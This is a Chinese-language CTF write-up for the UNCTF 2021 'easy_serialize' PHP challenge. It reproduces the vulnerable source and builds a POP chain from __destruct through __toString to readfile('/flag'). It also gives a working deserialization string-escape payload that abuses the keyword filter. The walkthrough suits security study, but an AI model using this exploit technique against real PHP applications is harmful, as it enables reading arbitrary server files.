ctf题目平台:UNCTF - HACKING 4 FUN。web题难度适中
easy_serialize
题目源码:
<?php include "function.php"; $action = @$_POST['action']; $name = $_POST['name']; $pass = $_POST['pass']; $email = $_POST['email']; function filter($file){ $filter_arr = array('flag','php','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$file); } $a= $_GET['a']; $b = $_GET['b']; $u = new UNCTF($pass,$email,$name); $s = serialize($u); switch($action){ case 1: highlight_file('function.php'); break; default: highlight_file('index.php'); } if(md5($a) == md5($b) && $a !=$b){ unserialize(filter($s)); }
当post接收到的action参数为1时读function.php。md5弱比较就不说了。 function.php源码:
<?php class me7eorite{ //test public $safe; public $class; public function __construct() { $this->safe = "/etc/passwd"; $this->class=new UNCTF('me7eorite','me7eorite@qq.com','me7eorite'); } public function __toString() { $this->class->getShell(); return ''; } public function getShell(){ readfile($this->safe); } } class UNCTF{ public $pass; public $email; public $name; public function __construct($pass,$email,$name) { $this->pass = $pass; $this->name = $name; $this->email = $email; } public function getShell(){ echo 'flag{this_is_fake}'; } public function __destruct() { echo $this->name . 'Welcome to UNCTF 2021!'; } }
利用入口在me7eorite类的getshell方法下的readfile。 进入readfile的过程为:unserialize $s->UNCTF析构函数把name当字符串,name为me7eorite对象时调用tostring->str指向me7eorite对象就能调用到子对象的getshell->读文件
所以pop链应为:
<?php class me7eorite{ //test public $safe; public $class; public function __construct() { $this->safe = "/flag"; $this->class='1'; //随便写一个,后面要重新赋值 } public function __toString() { $this->class->getShell(); return ''; } public function getShell(){ readfile($this->safe); } } class UNCTF{ public $pass; public $email; public $name; public function __construct($pass,$email,$name) { $this->pass = $pass; $this->name = $name; $this->email = $email; } public function __destruct() { echo $this->name . 'Welcome to UNCTF 2021!'; } } $me7 = new me7eorite(); $me7->class = new me7eorite(); $unctf = new UNCTF('1','2',$me7); echo serialize($unctf); ?>
可问题是该怎么传值,如果在name直接传入输出结果,其他两个随意,比如pass='1'&email='2',传入参数后需要是如下格式。 O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}
如果直接传入后半截s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}
序列化后的结果为: O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";s:130:"s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}";}s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}
。当闭合最开始的花括号时序列化完毕,也就是有效部分只有: O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";s:130:"s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}
会发现和有效部分一模一样,唯一不同的是中间多出来了s:130:"s:4:"name";
反序列化字符逃逸(字符串变短)
字符逃逸详解:https://blog.csdn.net/qq_45521281/article/details/107135706
在有filter过滤的情况下,由于是先过滤再反序列化,字符会被过滤,但是字符的个数是不会变得。 比如email成员为字符串aa,aa被过滤的情况下email序列化就是:s:5:"email";s:2:"aa";->s:5:"email";s:2:""; 即第二个双引号和分号会被当成email的内容而导致错误。每过滤一个aa,就会多出两个可控制字符
所以在这道题, 过滤flag可以空出四个字符,过滤php空出三个字符。
不好描述,就写了一下,如上,多出来19个字符";s:4:"name":s:130:
,但是这样构造email不能闭合,所以传进去的name最前面还要加个分号;用于闭合email。name=;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";s:1:"1";}}}
,19个字符需要逃逸,flagflagflagflagphp正好19个。
需要注意的是因为filter要过滤flag,所以在反序列化后双写。注意是反序列化后,因为序列化的过程是先过滤,所以string的个数是过滤后的。